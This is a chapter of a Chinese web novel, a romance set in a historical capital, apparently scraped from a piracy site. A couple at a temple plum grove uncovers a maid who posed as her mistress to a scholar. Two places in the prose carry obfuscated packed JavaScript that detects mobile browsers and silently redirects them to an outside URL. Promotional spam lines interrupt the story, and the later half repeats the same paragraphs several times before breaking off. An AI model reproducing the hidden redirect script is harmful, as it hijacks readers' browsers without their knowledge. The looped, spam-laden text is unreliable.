冬季能赏的景致本就不多,报国寺算是热门景点了,不光京城里那些不总出门的内眷女娘小哥儿们喜爱,连赴京赶考的学子们也慕名而至。 “年根底下还这么多人?”孟晚掀开车帘,发现他家马车前后都有车辆跟随,再往远眺望,察觉到大家都是奔往报国寺方向的。 地上都是积雪,特别的树下积攒的落雪,能没过人的小腿。北风吹起一地的雪沫,沿着孟晚掀开的车帘飘了进来,吹了孟晚一脸。 宋亭舟将人拉回身边来,拿帕子擦挂在他眼睫上的雪花,轻轻一碰,那朵小花就变成了水珠,将孟晚本就纤长的睫毛润湿,变得又黑又直,诱人采摘。 车内无人,宋亭舟扔了帕子,将温热的唇印在他眼皮上,“难得有空,很多都是官员陪同家人去报国寺上香祈福的。” 孟晚把被风吹凉的脸贴在宋亭舟衣领处,“也是,刚才我好像看到寇家的马车了,没准还有别的熟人也来了。” 没有手机就是很不方便,大冬天的也没必要一直折腾仆人跑腿传话,闲得无聊了就直接去朋友家里找,能不下拜帖就直接登门的都是自己人。这会儿也没法分析有没有小伙伴也来了报国寺赏梅。 赏什么也不是很重要,和心爱的人在一起看什么都别有一番滋味。 车厢里放了炭盆和手炉毛毯,宋亭舟将毯子披在孟晚身上,连人带毯子一起抱在怀里,浅浅地在他唇上啄吻,逐渐又变成唇齿交缠的深吻。 宋亭舟平时看上去很冷淡,行事也很尊重孟晚,但私下和孟晚在一起的时候却变成一个不知餍足的贪狼,狂野又霸道。 孟晚被他困在怀里,刚开始还能有来有回地与他亲昵一会儿,很快就只能任他肆意掠夺。 蚩 你的朋友正在书荒,快去帮帮他吧 羽还在车厢外赶车,宋亭舟解了渴便又恢复成往常的样子,半抱着孟晚下车时受到了一些隐蔽的窥伺。 宋亭舟不在意,他抱自己夫郎,律法里没有哪条说不行。 一下车就冷风萧瑟,宋亭舟帮孟晚把斗篷上的兜帽戴上,又给他紧了紧衣领处的带子,孟晚下颌微抬,方便他动作,“咱们先随大流去上香祈福,捐赠了香火钱后再去赏梅? 宋亭舟整理完后手牵上孟晚的,“好。 他们家简单,没有下人前呼后拥,只有一个笨手笨脚的蚩羽在找地方停车,和两个手脚勤快的雇主,已经收拾好手炉和线香,在一旁等他。 护国寺香火鼎盛,寺庙建在山间,有钟、鼓楼,天王殿、大殿、佛阁和后院等。香客们需要将马车停在山脚,再爬上半山腰。 蚩羽脚步飞快,灵巧得像山间的野猴,孟晚和宋亭舟慢慢悠悠地边爬上边赏景,途中还碰到了寇大人一家,他们是来护国寺给儿子祈愿的,会试近在眼前,来护国寺的人一半是来给家里人祈愿高中,另一半则是祈愿自己高中的外地举子。 入了山门后,巨大的香炉中已经插满了香,香灰盖了一层又一层。 孟晚从前是不信这玩意的,后来觉得有时候也不必较真,人拜的也不见得就是虚无缥缈的佛,而是内心深处对自己的祷告。 他虔诚地拜了三拜,还捐了不少香火钱,护国寺的高僧都很有仁爱之心,经常下山救济穷人,还会收留无家可归的孩子。 这两件事做完,孟晚也没兴趣找高僧听经参禅,拉着宋亭舟便直奔旁人指点的梅林处。 梅林在护国寺后山上,还要再爬一小段,蚩羽跟在两人身后,一会儿钻林子里摘些冬青红彤彤的果实,一会儿拿他的弹弓打鸟玩,和孟晚以前的多动症同学一毛一样。 北方的冬天寡淡,四处都是一片寂静的白,偶尔传来人声,也没有夏季的喧嚣热闹。傲立在白雪中的褐色枝干张牙舞爪的伸展,落雪不能将它们全部覆盖,点缀在枝头的红梅开得正盛,小朵小朵地拥簇在一起,形成一串串、一片片的红。 再向远眺望,半边山都被疏松的红梅树占据,一眼望去先是耀目的红梅,然后才是穿梭其中衣裳颜色各异的人。 有些破坏了景致,但若是无人欣赏这些美景,又难免觉得可惜。 孟晚拉着宋亭舟钻进了梅林里,两人今日穿了同样 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 颜色料子的灰貂皮**斗篷,因为相貌出众,走到哪儿都是两道靓丽的风景线,特别是孟晚比寒梅还要艳丽的脸,频频受到旁人关注。 梅林中的人或是一家子出行赏花,或是有妙龄女娘在丫鬟的陪伴下采花制香,渴望在梅林邂逅世家小姐的书生也不少。 正是一群少年才俊,盼着考取进士,在京城得一如花美眷的好儿郎,难免年少慕色,再三打量。 宋亭舟本就冷凝的脸色阴沉似水,他这样孟晚非但不觉得吓人,反而觉得生动又有趣,没忍住唇角上勾,笑了起来。 这下子偷偷打量变成明目张胆的痴望了,哪怕是知道孟晚有夫君,可大部分人见到相貌过于出众的,不论男女哥儿,都会下意识多看几眼。倒也没有什么龌龊的想法,单纯地惊叹一下。 宋亭舟抿着唇不说话,干脆拉着孟晚往偏僻地方走。 蚩羽远远地坠在两人后面,不远不近地跟着。 护国寺的后山不光有梅林,紧挨着梅林边缘还有几棵百年老松,不过大家都是奔着这满山红梅来的,老松那边反倒清净。 宋亭舟牵着孟晚往松树下走,积雪在脚下发出“咯吱咯吱”的轻响,惊起几只在枝头歇脚的灰雀。松针上压着厚厚的白雪,寒风吹过,残雪簌簌落下,砸在两人脚边。 这声音虽然窸窣吵闹,却也不大,掩不住老松后头刻意压低的怒声质问。 “你是何人!” “你又是谁?在下并非有意冒犯,是与顾二小姐相约前来赏梅,刚才见小姐身形与她相似,所以才跟上来的。” “你放肆!我何时与你相约赏梅了?” “在下并未说是姑娘啊?我要找的是顾家二小姐……” “你……身为读书人,你竟然满口胡言,毁我名声!” 孟晚脚步一顿,抬眸和身边的宋亭舟对视,“是顾家的二姑娘。” “我去将蚩羽叫来。”宋亭舟知道皇后娘娘之前让孟晚想办法安抚顾家,好不容易有点起色,顾家人也愿意接下这个台阶,这会儿顾枳茹被人缠上,他们夫夫俩说什么也不能置之不理。 孟晚站在原地等着蚩羽过来,宋亭舟为了避嫌留在这边守着,孟晚往里走的时候里面两人竟然还在纠缠。 “姑娘口口声声说自己是顾家姑娘,怎么与我见过的顾二姑娘相貌不同呢?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “我不知道你在说什么! 顾枳茹又羞又怒,她身边跟着两个小丫头护着她要往外走,却被一个穿着旧棉袍的读书人拦住了去路。 “在下也是糊涂,还请姑娘为我解惑。书生义正言辞,仿佛只是为了求一个结果。 顾枳茹要被逼哭了,她手拿帕子掩着面,“我哪里知道是哪个顾姑娘约得你,总归不是我,你快放我离去,不然我家里人饶不了你! 两个丫鬟护着顾枳茹走哪边,那书生便挡在哪边,女娘不得与外男有身体接触,顾枳茹娇弱,小跑那两步转瞬便叫人追上,她又不敢引来旁人围观,不然自己的名声还要不要了。 “顾二姑娘,你怎么在这儿呢?让我一顿好找。 孟晚带着蚩羽从梅林那头过来,他站在顾枳茹身边的时候,顾枳茹泪水瞬间滑落,“孟夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766073|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎救我。 那书生见了孟晚先是一怔,随后想到了什么,“是你?那天你在街上和忠毅候世子看起来很熟络。 顾枳茹闻言捏着帕子的手指一紧,随后又缓缓松开,她们顾家早就知道宋家与忠毅侯府交好的事了,孟夫郎是为了怕她伤心才不在她面前提起秦艽的事,并非有意隐瞒,这点道理她还是懂的。 “不愧是读书人,口舌就是厉害。孟晚立即想到当初在街上围堵秦艽的那群书生。 他脑子里转了几个弯,嘴上却不慌不忙地问:“你是从哪儿得到的消息,知道顾二小姐会来护国寺赏梅的? 书生不假思索地说:“自然是顾二小姐亲口相邀,我还有她给我的书信,你刚才叫这位小姐顾二小姐,她…… “你说顾二小姐亲口相邀,可有人证?又言收到了顾二小姐的书信,谁知道是不是你自己写的。孟晚连声质问道。 “你…… 书生气急,“我二人相识,为了顾及小姐名声,从没在人前显露过。书信就在我这里,只要顾二小姐出来与我一见,我自会拿出来交还给她。 顾枳茹一把捏住孟晚袖子,声音发抖,“晚儿哥,我没有。 孟晚安抚性地看了她一眼,从自己随身的布兜里掏出一包芒果干给她,“不必害怕,到蚩羽后面待着去,吃点零食。 顾枳茹捏着他袖子的手被塞了个油纸包,心突然就安定了下来,孟晚游刃有余的姿态比说千百句安慰的话都要管用, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她缓缓吸气,竟然真的退了两步,撕开油纸包,看着里面黄色的干果,好奇地拿了一块吃。 她身边的两个丫鬟都看傻眼了,“小姐,你……没事吧?”都这个节骨眼上了怎么还有心思吃呢,别是气昏头了吧? “很好吃的,你俩也尝尝。”顾枳茹是真的觉得好吃,分给两个丫鬟一人一片。 今日顾夫人和她几个妯娌都带着孩子来了,人多带的丫鬟也多,顾枳茹两个大丫鬟借给她嫂子帮忙带孩子了,身边这两个小丫鬟年岁不大,有些嘴馋。“真的吗小姐?” 主仆三人分起芒果干来。 看到这一幕的书生:“……” 他调整了一番状态,清了清嗓子,“咳……这位夫郎可能是误会了,在下并无恶意,只是与顾二小姐约好了在这里赏梅,却不知为何来的是这位小姐,在下只想问个清楚,如有冒犯,还请小姐见谅。” 这番言论看上去斯文有理,实际上每个字都在把顾枳茹架在火上烤。 孟晚冷哼一声,“你连人都没搞清楚,就张口闭口地说和顾二小姐约好了在此处见面,看见来了外人还是此番说辞不变,是什么居心你自己心里清楚。” 顾枳茹本来被退婚名声就已经受损,这书生暧昧不清的话语要是传出去,她就更不用活了。 书生似是被问得发怔,“在下并没有毁人名誉的想法,我与顾二小姐情投意合,只是想等高中之后再上门提亲,并没有夫郎所说的什么居心!” 孟晚双掌合十,清脆地对了个掌,语气轻松道:“好啊,你说和顾二小姐情投意合,那这样吧,当下顾夫人正在护国寺中烧香拜佛,你就跟我一同过去面见于她,叫顾小姐当着母亲的面与你相见,如何?” 听孟晚说要见顾夫人,书生立即后退了两步。 沉稳的脚步声由远至近,宋亭舟提了个穿着黄色袄裙的侍女过来,他力气大,一把捏住侍女后颈,将人扔在书生和孟晚之间。 “她躲在附近鬼鬼祟祟。”宋亭舟说完之后又往外面退了几步,既能抬眼观察梅林里有没有人过来,又能看到孟晚。 “青萝?你不是在我嫂子那边吗?怎么会在这里?” 顾枳茹第一个认出这个从小陪自己长大的贴身侍女,“刚才你就在附近看我被人阻拦,为何不去找我母亲报信?” 青萝低着头、趴在雪地里瑟瑟发抖,“小姐……奴婢……奴婢……” 书生听出她的声音,蹲在地上看她,难以置信道:“青萝是谁?你不是顾家二小姐吗?” 第79章 逼迫 青萝面对书生的质问,心痛难忍,“我……我……”我不是三个字她怎么也说不出口。 她说不出,可在场的众人都想明白了。 顾枳茹指尖颤抖,葱白的手指点在她和书生之间,“你以我的名义,与人……与人私会?你好大的胆!” “小姐,小姐不是这样的。”青萝跪在地上往前挪,地上的雪灌进她的棉布裙里,头上嵌着珍珠坠子的银钗掉了一根出来。 顾家是书香世家,讲究的是清雅,顾枳茹的饰品大多是银饰玉饰,且不华丽夸张。青萝自小同她一起长大,不光是她院里的一等侍女,顾枳茹自己不喜欢的首饰也会赏了她。 总有乡下的妇人羡慕城里小姐身边的丫鬟都比地主女儿穿戴得好,此言非虚,青萝若不是在顾枳茹身边,稍稍打扮几分,确实有种小家碧玉的清秀柔美之姿。 大户人家一眼就能分辨,普通人确实有可能认错。 顾枳茹从没想过会被自己最亲近的贴身侍女背叛,她眼底翻涌着怒火,肩膀因为此刻愤怒的情绪而在轻轻抖动,“你说!你是如何同这个书生相识的,又为何将我行踪告知他!” 一朝事情败露,还是在这么不堪的情况下,青萝整个人都崩溃不已,她啼哭着抱住顾枳茹小腿,“小姐,青萝不是有意骗您的,我最初也是为您生气,才……才犯下大错的……” 自从顾枳茹被秦艽上门退婚后,一时间心如死灰,整日以泪洗面,痛苦不堪,她倒不是与秦艽有多深厚的情谊,而是她太骄傲了,等了秦艽几年,没想到会是这样的结果。 以盛京城对女娘的苛刻,旁人只会笑骂两句忠毅侯世子放荡不靠谱,却会鄙夷指责她们顾家的家教。 她不光自己蹉跎了快到二十,严重的话还会连累弟弟妹妹们的名声。所以才又悔又恨,后悔她若是没那么高的心气,非要嫁得比她姐姐好,她娘当初就不会接下忠毅侯夫人的帖子,恨秦家背信弃义,秦艽就是一个混不吝的兵痞子,侯府的规矩教养教条狗也比他强。 人最怕自我折磨,顾枳茹便将自己折磨病了。 青萝一心为主子,心里自然也是跟着恨秦艽的,她不知打哪儿听说,她们老爷曾经去南方讲学,那群书院的学生赴京参加会试,知道顾先生受辱要去拦截秦艽替顾家出口恶气,便偷偷找上其中一人,这人便是南地赴京赶考的举子苏瑾。 青萝 在苏瑾面前故作可怜,想加把火,让苏瑾狠狠折腾秦艽一通给自家小姐出出气。 她刚开始也没胆大到说自己是顾二小姐,是苏瑾自己误会了,一口一个小姐的称呼青萝,几次接触下来,青萝一个没怎么接触过外男的侍女,便真的动了心,这才一错再错。 苏瑾脸色煞白,目光中带着痛苦和哀伤,他痛心疾首地说:“原来一直以来你都在骗我?若你一开始说你是顾家的侍女,我也不会嫌弃,为何你要这般戏耍于我?” 他这番话倒是说得令人动容,连对他印象糟糕的顾枳茹都高看了那书生一眼。 青萝听他这么说,愧疚到难以言喻,心中更是天崩地裂,她以袖遮面,哽咽着说:“对不起,我对不起小姐,也对不起你!” 事情败露,书生恨她,小姐怨她,夫人和老夫人也绝不会放过她。 青萝满心绝望,强撑着站起身子,拖着一条被冻麻的腿,还不待众人反应,便撞向一旁粗壮的老树。 距离太近,哪怕是蚩羽反应迅速拉住了人,青萝的额头也被磕破了,整个人都昏了过去。 顾枳茹被吓得惊叫了一声,到底有从小陪伴她的情分,心中十分不忍,“孟夫郎,能不能托蚩羽把青萝送回护国寺去?” 顾家男女老少来了不少的人,青萝回去自有人安置。 孟晚道:“自然没问题。” 为了避人耳目,蚩羽把青萝的脸给蒙上了,人往肩上一扛,顺着桃林边缘往护国寺方向走。 “等等,我也和你们走,青萝虽然犯了错事,可此事我也有责任,便是不能娶她,我既说了大话,也不能让她一个女娘独自面对。”苏瑾正了正神色,也欲跟上蚩羽。 虽然刚才被他纠缠,顾枳茹很是厌烦,但见这书生说话还算有担当,口吻便松懈了一分,“你要跟,便跟上来吧。” 苏瑾便跟在她们后面,偶尔面露担心地看着被扛起来的青萝,偶尔又不经意地将眼神瞟向顾枳茹。 孟晚笑了,“真有意思。” 他和宋亭舟在最后面,两人一个从商多年,最爱琢磨些弯弯绕绕,一个官场城府,见多了人心叵测,自然都不是顾枳茹这样城府不深的女娘这样好糊弄的。 宋亭舟只有两个字,“难缠。” “说到底也只是一个读书郎,背后……”孟晚顿住,“背后应该是 无人的吧?” 宋亭舟揉捏了两下他的手心,“等下了山,我派十一他们去打探打探。” 孟晚突然就有些心烦,“过个年都不消停,盛京人真能折腾。” “明天带你去庄子上玩,二十九再回家。”宋亭舟安抚道。 孟晚难得想到儿子,“阿砚好几天没回家了,等回了家派人去锦容家问问他们一家去不去。” 他们一路说说走走,也没有了什么赏花的兴致,前面蚩羽一口气将青萝背回护国寺,顾家人休息落脚的厢房。 顾家年轻一辈都去梅林赏梅了,厢房里只有顾夫人在和别家的夫人说话,蚩羽脚程快,想也没想地闯进院里,被顾家的小厮拦住,“你是哪个?” 蚩羽也没废话,把背上的青萝放了下来给他们看。 “青萝?她怎么这样了?”这个小厮认得家里二小姐身边的贴身侍女。 蚩羽揉了揉肩膀,“她受了重伤,你们还是带她下山找郎中看看吧。” 厢房外的动静惊动了屋里的顾夫人,“出了什么事了,你是孟夫郎身边的小哥儿?” 顾夫人见来人是蚩羽,立即想到孟晚,往外眺望,第一眼看到的是脚步匆忙的女儿和跟她出去的两个小丫鬟,在她们后面是一个白面书生,最后才是孟晚和一个身形高大的男人。 宋大人宠爱夫郎是京中人人都知道的事,顾夫人虽然没见过宋亭舟,但此人与孟晚姿态亲密,还能是别人不成? “刘夫人,我家这丫鬟不小心摔到了,我这就叫人拉她下山看看郎中,改日咱们回京再叙?”虽然不知青萝为何受伤,女儿后面那个外男又是谁,顾夫人还是嗅到了不寻常的气息,委婉地对与顾家交好的另一位夫人说道。 都是识情识趣的人,刘夫人忙起身告退。 等人一走,顾夫人脸色冷淡下来,“将青萝先拖进屋里,莫要让外人看了笑话。” 小厮诺诺道:“是,夫人。” 冬季天寒,青萝额头的伤已经不流血了,可依旧红得吓人,小厮不敢真的“拖”,只能把青萝给抱进屋里,床榻是给贵人休息的,他们这些下人没资格上座,小厮将青萝放在地上。 平时大家都在顾家伺候主子,这小厮见青萝这样怪不忍心的,还找其他丫鬟拿了件小被子给人盖上了。 “宋大人,我家老爷就在 男院,可要我派人叫他过来?”哪怕知道情景不对,顾夫人依旧要先招待宋亭舟,毕竟此人身份地位在那儿,不可怠慢。 宋亭舟没有走近,就站在院外说道:“我与夫郎还要回梅林赏花,不便多留,还请顾夫人见谅。” 孟晚倒是走近两步,陪顾枳茹一起进了院子,他声音比平时压低了一些,意有所指地说道:“顾夫人,我和夫君刚才正好在梅林边上,看到这位苏公子拦住……咳……青萝姑娘,下人还是该好好约束约束,免得拖累了家中娇女。” 他这番话说完之后,顾夫人脸色当即就变了,她强撑着客气道:“多谢孟夫郎援手,是我大意了。” 这种事知道的人越少就越好,孟晚和顾枳茹打了个招呼,便叫上蚩羽一起离开顾家暂时落脚的院子。 他们才离开不久,院子里就跑出去几个丫鬟小厮,有的跑男客那边,有的去梅林找人。 顾枳茹一个小姑娘看不懂的事,她娘能分辨的明白,今天来梅林赏花的人格外多,而且世家大族颇多。若不是孟晚他们碰巧赶上,没让更多人注意到竹林那边,顾枳茹被苏瑾纠缠的样子定会被人看到。 清流世家本来就规矩多,顾枳茹已经被退过一次亲了,又出了这种事情,顾家为了家里未嫁女娘小哥儿的名声和颜面,也定要将顾枳茹嫁出去。 招不在新旧,有用就行。 苏瑾不像是安分的,他敢跟上来,定是手里还攥着其他底牌。 晌午孟晚他们回护国寺用素斋的时候,已经不见顾家人的身影了,想必是匆匆下山回家了。 斋饭没吃饱,午后下山回程的路上他们又在外面吃了馄饨和烧饼。 孟晚坐在宋亭舟身边陪他吃馄饨,他其实不太饿,车上备了很多小零嘴,给了顾枳茹一包,他也还有很多。 “三十那天的宫宴是不是不能带家眷?”孟晚把自己碗里的馄饨都夹给宋亭舟,慢悠悠地舀着馄饨汤喝。 宋亭舟几乎一口一个,他吃饱了便用帕子擦了擦唇角,“不带,还是依照往常的惯例,正旦宴诰命们再入宫。” “那岂不是就我和阿砚守夜?”孟晚老大不乐意,习惯了热热闹闹地过年,再回到冷冷清清,谁也习惯不了。 宋亭舟将铜板放在桌上,勾起孟晚放在桌上的一只手,唇边泛起笑意,“只有今年陛下登基才在三十午时宴请百官,往后 若无大事应当是没有的,且应该耽搁不到晚上,能赶回家和你们吃团圆饭。” 这样倒是还能接受,正旦宴入宫是诰命们的荣耀,小官羡慕都羡慕不来的,但孟晚却只觉得遭罪。 他们回家后就按照说好的派仆人去葛家传话,两家约好了明早去沐泉庄玩。 聂知遥那边就没有孟晚这么悠闲了,因为时间紧,盲目开店也不见得能一下子就将棉花娃娃卖火,聂知遥费力在城南三重城找了一间位置尚可的铺子,因为年前便要铺货,只能找了棉坊里已经休假的小工帮忙。 城南与棉坊所在的城北正好一南一北,棉坊留了几个小工盯着倒座房那里,有人来零买也卖,小贩来批售也可以。 城南的棉花铺子则是认真修整过了,连招牌都是聂知遥找孟晚画的,憨态可掬的各式各样的棉花娃娃抱着大字,招牌名字就叫“棉花娃娃”。 孟晚已经将前路铺好,后头就可以放心地交给聂知遥忙活,亲兄弟明算账,牵扯到利益,哪怕在孟晚眼里不多,聂知遥也不可能坐享其成,不然不就成了孟晚给他送钱了吗? 顾家的事孟晚没有刻意打听后续,从沐泉庄回来后宋家就开始收到各地回的年礼,远比他送出去的多得多。 家里的仓库放不下,只能加急找人往后又扩了一排房子充当仓库,顺便将楚辞住的东院也给修整修整,多给建了个小厨房,往后给楚辞和阿寻住,小两口用着也方便。 其实孟晚也不是一定要两个儿子都和他住一起,但是时代如此,真给小辞买了套宅子叫他和阿寻分出去,外面指不定怎么议论。再说常金花喜欢热闹,还指望抱重孙子,也不可能让小辞他们单独住。 这会儿讲究小哥儿和女娘婚后不在娘家过年,楚辞和阿寻的情况特殊,回京才算正经成亲,也不好总在苗家逗留,年前便开始出发往盛京走了,年后回来就要直接成亲。 孟晚很久便开始筹备昏礼要用的东西了,还有他家要宴请的宾客也要提前告知,零零散散还有的忙,幸亏身边有黄叶帮他,棉坊那头又有聂知遥盯着。 饶是如此,这个年也是他过得最匆忙潦草的。 “阿爹,我爹什么时辰才能回来啊?”阿砚托腮问道。 若无大事应当是没有的,且应该耽搁不到晚上,能赶回家和你们吃团圆饭。” 这样倒是还能接受,正旦宴入宫是诰命们的荣耀,小官羡慕都羡慕不来的,但孟晚却只觉得遭罪。 他们回家后就按照说好的派仆人去葛家传话,两家约好了明早去沐泉庄玩。 聂知遥那边就没有孟晚这么悠闲了,因为时间紧,盲目开店也不见得能一下子就将棉花娃娃卖火,聂知遥费力在城南三重城找了一间位置尚可的铺子,因为年前便要铺货,只能找了棉坊里已经休假的小工帮忙。 城南与棉坊所在的城北正好一南一北,棉坊留了几个小工盯着倒座房那里,有人来零买也卖,小贩来批售也可以。 城南的棉花铺子则是认真修整过了,连招牌都是聂知遥找孟晚画的,憨态可掬的各式各样的棉花娃娃抱着大字,招牌名字就叫“棉花娃娃”。 孟晚已经将前路铺好,后头就可以放心地交给聂知遥忙活,亲兄弟明算账,牵扯到利益,哪怕在孟晚眼里不多,聂知遥也不可能坐享其成,不然不就成了孟晚给他送钱了吗? 顾家的事孟晚没有刻意打听后续,从沐泉庄回来后宋家就开始收到各地回的年礼,远比他送出去的多得多。 家里的仓库放不下,只能加急找人往后又扩了一排房子充当仓库,顺便将楚辞住的东院也给修整修整,多给建了个小厨房,往后给楚辞和阿寻住,小两口用着也方便。 其实孟晚也不是一定要两个儿子都和他住一起,但是时代如此,真给小辞买了套宅子叫他和阿寻分出去,外面指不定怎么议论。再说常金花喜欢热闹,还指望抱重孙子,也不可能让小辞他们单独住。 这会儿讲究小哥儿和女娘婚后不在娘家过年,楚辞和阿寻的情况特殊,回京才算正经成亲,也不好总在苗家逗留,年前便开始出发往盛京走了,年后回来就要直接成亲。 孟晚很久便开始筹备昏礼要用的东西了,还有他家要宴请的宾客也要提前告知,零零散散还有的忙,幸亏身边有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766074|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄叶帮他,棉坊那头又有聂知遥盯着。 饶是如此,这个年也是他过得最匆忙潦草的。 “阿爹,我爹什么时辰才能回来啊?”阿砚托腮问道。 若无大事应当是没有的,且应该耽搁不到晚上,能赶回家和你们吃团圆饭。” 这样倒是还能接受,正旦宴入宫是诰命们的荣耀,小官羡慕都羡慕不来的,但孟晚却只觉得遭罪。 他们回家后就按照说好的派仆人去葛家传话,两家约好了明早去沐泉庄玩。 聂知遥那边就没有孟晚这么悠闲了,因为时间紧,盲目开店也不见得能一下子就将棉花娃娃卖火,聂知遥费力在城南三重城找了一间位置尚可的铺子,因为年前便要铺货,只能找了棉坊里已经休假的小工帮忙。 城南与棉坊所在的城北正好一南一北,棉坊留了几个小工盯着倒座房那里,有人来零买也卖,小贩来批售也可以。 城南的棉花铺子则是认真修整过了,连招牌都是聂知遥找孟晚画的,憨态可掬的各式各样的棉花娃娃抱着大字,招牌名字就叫“棉花娃娃”。 孟晚已经将前路铺好,后头就可以放心地交给聂知遥忙活,亲兄弟明算账,牵扯到利益,哪怕在孟晚眼里不多,聂知遥也不可能坐享其成,不然不就成了孟晚给他送钱了吗? 顾家的事孟晚没有刻意打听后续,从沐泉庄回来后宋家就开始收到各地回的年礼,远比他送出去的多得多。 家里的仓库放不下,只能加急找人往后又扩了一排房子充当仓库,顺便将楚辞住的东院也给修整修整,多给建了个小厨房,往后给楚辞和阿寻住,小两口用着也方便。 其实孟晚也不是一定要两个儿子都和他住一起,但是时代如此,真给小辞买了套宅子叫他和阿寻分出去,外面指不定怎么议论。再说常金花喜欢热闹,还指望抱重孙子,也不可能让小辞他们单独住。 这会儿讲究小哥儿和女娘婚后不在娘家过年,楚辞和阿寻的情况特殊,回京才算正经成亲,也不好总在苗家逗留,年前便开始出发往盛京走了,年后回来就要直接成亲。 孟晚很久便开始筹备昏礼要用的东西了,还有他家要宴请的宾客也要提前告知,零零散散还有的忙,幸亏身边有黄叶帮他,棉坊那头又有聂知遥盯着。 饶是如此,这个年也是他过得最匆忙潦草的。 “阿爹,我爹什么时辰才能回来啊?”阿砚托腮问道。 若无大事应当是没有的,且应该耽搁不到晚上,能赶回家和你们吃团圆饭。” 这样倒是还能接受,正旦宴入宫是诰命们的荣耀,小官羡慕都羡慕不来的,但孟晚却只觉得遭罪。 他们回家后就按照说好的派仆人去葛家传话,两家约好了明早去沐泉庄玩。 聂知遥那边就没有孟晚这么悠闲了,因为时间紧,盲目开店也不见得能一下子就将棉花娃娃卖火,聂知遥费力在城南三重城找了一间位置尚可的铺子,因为年前便要铺货,只能找了棉坊里已经休假的小工帮忙。 城南与棉坊所在的城北正好一南一北,棉坊留了几个小工盯着倒座房那里,有人来零买也卖,小贩来批售也可以。 城南的棉花铺子则是认真修整过了,连招牌都是聂知遥找孟晚画的,憨态可掬的各式各样的棉花娃娃抱着大字,招牌名字就叫“棉花娃娃”。 孟晚已经将前路铺好,后头就可以放心地交给聂知遥忙活,亲兄弟明算账,牵扯到利益,哪怕在孟晚眼里不多,聂知遥也不可能坐享其成,不然不就成了孟晚给他送钱了吗? 顾家的事孟晚没有刻意打听后续,从沐泉庄回来后宋家就开始收到各地回的年礼,远比他送出去的多得多。 家里的仓库放不下,只能加急找人往后又扩了一排房子充当仓库,顺便将楚辞住的东院也给修整修整,多给建了个小厨房,往后给楚辞和阿寻住,小两口用着也方便。 其实孟晚也不是一定要两个儿子都和他住一起,但是时代如此,真给小辞买了套宅子叫他和阿寻分出去,外面指不定怎么议论。再说常金花喜欢热闹,还指望抱重孙子,也不可能让小辞他们单独住。 这会儿讲究小哥儿和女娘婚后不在娘家过年,楚辞和阿寻的情况特殊,回京才算正经成亲,也不好总在苗家逗留,年前便开始出发往盛京走了,年后回来就要直接成亲。 孟晚很久便开始筹备昏礼要用的东西了,还有他家要宴请的宾客也要提前告知,零零散散还有的忙,幸亏身边有黄叶帮他,棉坊那头又有聂知遥盯着。 饶是如此,这个年也是他过得最匆忙潦草的。 “阿爹,我爹什么时辰才能回来啊?”阿砚托腮问道。 若无大事应当是没有的,且应该耽搁不到晚上,能赶回家和你们吃团圆饭。” 这样倒是还能接受,正旦宴入宫是诰命们的荣耀,小官羡慕都羡慕不来的,但孟晚却只觉得遭罪。 他们回家后就按照说好的派仆人去葛家传话,两家约好了明早去沐泉庄玩。 聂知遥那边就没有孟晚这么悠闲了,因为时间紧,盲目开店也不见得能一下子就将棉花娃娃卖火,聂知遥费力在城南三重城找了一间位置尚可的铺子,因为年前便要铺货,只能找了棉坊里已经休假的小工帮忙。 城南与棉坊所在的城北正好一南一北,棉坊留了几个小工盯着倒座房那里,有人来零买也卖,小贩来批售也可以。 城南的棉花铺子则是认真修整过了,连招牌都是聂知遥找孟晚画的,憨态可掬的各式各样的棉花娃娃抱着大字,招牌名字就叫“棉花娃娃”。 孟晚已经将前路铺好,后头就可以放心地交给聂知遥忙活,亲兄弟明算账,牵扯到利益,哪怕在孟晚眼里不多,聂知遥也不可能坐享其成,不然不就成了孟晚给他送钱了吗? 顾家的事孟晚没有刻意打听后续,从沐泉庄回来后宋家就开始收到各地回的年礼,远比他送出去的多得多。 家里的仓库放不下,只能加急找人往后又扩了一排房子充当仓库,顺便将楚辞住的东院也给修整修整,多给建了个小厨房,往后给楚辞和阿寻住,小两口用着也方便。 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